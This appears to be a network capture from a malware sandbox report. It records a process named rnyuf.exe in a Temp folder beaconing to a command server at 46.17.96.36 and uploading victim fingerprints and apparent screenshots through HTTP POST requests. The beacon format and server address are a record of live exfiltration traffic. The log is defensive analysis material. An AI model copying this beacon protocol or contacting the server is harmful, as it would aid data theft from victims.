Aug 29, 2021 22:27:53.323931932 CEST	10896	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:53.324089050 CEST	10906	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:53.324167013 CEST	10908	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:53.357639074 CEST	10914	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:53.357992887 CEST	10917	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:53.358201981 CEST	10934	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:53.390091896 CEST	10937	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:53.390336037 CEST	10948	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:53.390732050 CEST	10950	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:53.390784025 CEST	10969	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:53.494416952 CEST	11004	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.4	49868	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:53.348179102 CEST	10909	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:53.430233002 CEST	11003	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49748	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:14.367435932 CEST	2420	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:14.367639065 CEST	2420	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:14.368022919 CEST	2430	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:14.368320942 CEST	2433	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:14.402553082 CEST	2441	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:14.402607918 CEST	2444	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:14.402826071 CEST	2456	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:14.402854919 CEST	2459	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:14.437547922 CEST	2467	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:14.437593937 CEST	2496	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:14.437736034 CEST	2503	OUT	Data Raw: 8b 23 4b 57 3f bb 91 1b e8 e0 d3 0e 93 27 a3 81 ea 56 98 10 9e d5 66 18 6e 38 d8 5d 7e 87 15 0d ce 3d 4a 8c 94 b6 45 53 a5 cd fc 3b 4f d4 e2 98 da 65 d0 ff 00 96 4c 7d c5 6f c1 0d e1 c6 66 63 ec 79 ad 6b 68 2e 4e 32 a8 df 55 ac 27 8b 94 0e da 58 Data Ascii: #KW?'Vfn8]~=JES;OeL}ofcykh.N2U'XgS&3nk<=b}0`htvG'=$&MbS:fk s4eA~"5b)Y#sC$:Xl,\|Ju6t?;5dUgO
Aug 29, 2021 22:27:14.547033072 CEST	2527	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.4	49869	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:53.580914974 CEST	11005	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:53.653335094 CEST	11005	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:53.763492107 CEST	11006	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:53.763601065 CEST	11006	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:53.763822079 CEST	11016	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:53.763953924 CEST	11019	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:53.798655033 CEST	11029	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:53.798711061 CEST	11045	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:53.832676888 CEST	11085	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:53.832751989 CEST	11090	OUT	Data Raw: 06 b3 d3 40 d0 fc 96 d4 de 2d 4f ec 0d a3 1d 49 2d 0d cc 6b 3a b0 9c 43 83 27 96 41 53 92 c0 ec 19 18 ac fd a5 2b 5e df d6 bf e4 ca 54 ea 3e a4 7f f0 b2 fc 63 ff 00 43 0d ef fd f4 3f c2 99 27 c4 7f 17 4b 1b 47 26 bf 78 e8 e0 ab 2b 30 20 83 d4 11 Data Ascii: @-OI-k:C'AS+^T>cC?'KG&x+0 ~+a3pfk%H;(\|+pOC4Om==iJo9K9>z}?9'wbX;4sd*cqUMl,N\|#guUbnT_
Aug 29, 2021 22:27:53.832768917 CEST	11097	OUT	Data Raw: da d3 9d 63 d1 6c dd d8 2a 2d b2 16 66 38 00 6d 1c 9a e7 9b c6 b2 5e 4e f1 e8 3a 2d d6 a8 91 9c 34 e1 bc a8 f3 ec c4 1c fe 95 53 c4 0f 2d e6 99 e1 bd 06 39 1a 34 d4 82 09 99 4f 3e 5a 2a 96 1f af e9 57 b5 dd 79 3c 2d 1d 86 95 a5 69 c2 7b 99 86 d8 Data Ascii: cl-f8m^N:-4S-94O>ZWy<-i{-?Q9-jw{ 5OX1\|*mkF2y;4rGVuL$"[m'%pt.W9%D4VdeZj7m=>
Aug 29, 2021 22:27:53.866637945 CEST	11112	OUT	Data Raw: 8a 43 1d 9a 33 4d cd 19 a0 2c 3b 34 94 dc d2 66 95 c7 61 e4 d2 66 9b 9a 4c d2 b8 ec 3b 34 66 99 9a 09 a2 e1 61 d9 a0 9a 6e 69 33 4a e3 b0 a6 8a 4c d1 9a 41 61 73 41 34 dc d2 13 45 c7 61 49 a4 cd 37 34 86 a6 e5 58 75 37 bd 19 34 94 0c 53 d6 83 46 Data Ascii: C3M,;4fafL;4fani3JLAasA4EaI74Xu74SFi3H%ZAE.h5isUpi3IIHvI)JQ@i4S+OCK-4Ss<qdzh5YN(;NI?6TiJ\(\|*?]SxC&/o'"ld+
Aug 29, 2021 22:27:53.934263945 CEST	11112	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.4	49870	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:53.800890923 CEST	11045	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:53.877295017 CEST	11112	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.4	49871	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:54.037111998 CEST	11113	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:54.113221884 CEST	11114	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.4	49873	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:55.383352041 CEST	11115	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:55.383481026 CEST	11115	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:55.384150982 CEST	11125	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:55.384790897 CEST	11128	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:55.415956020 CEST	11131	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:55.416003942 CEST	11133	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
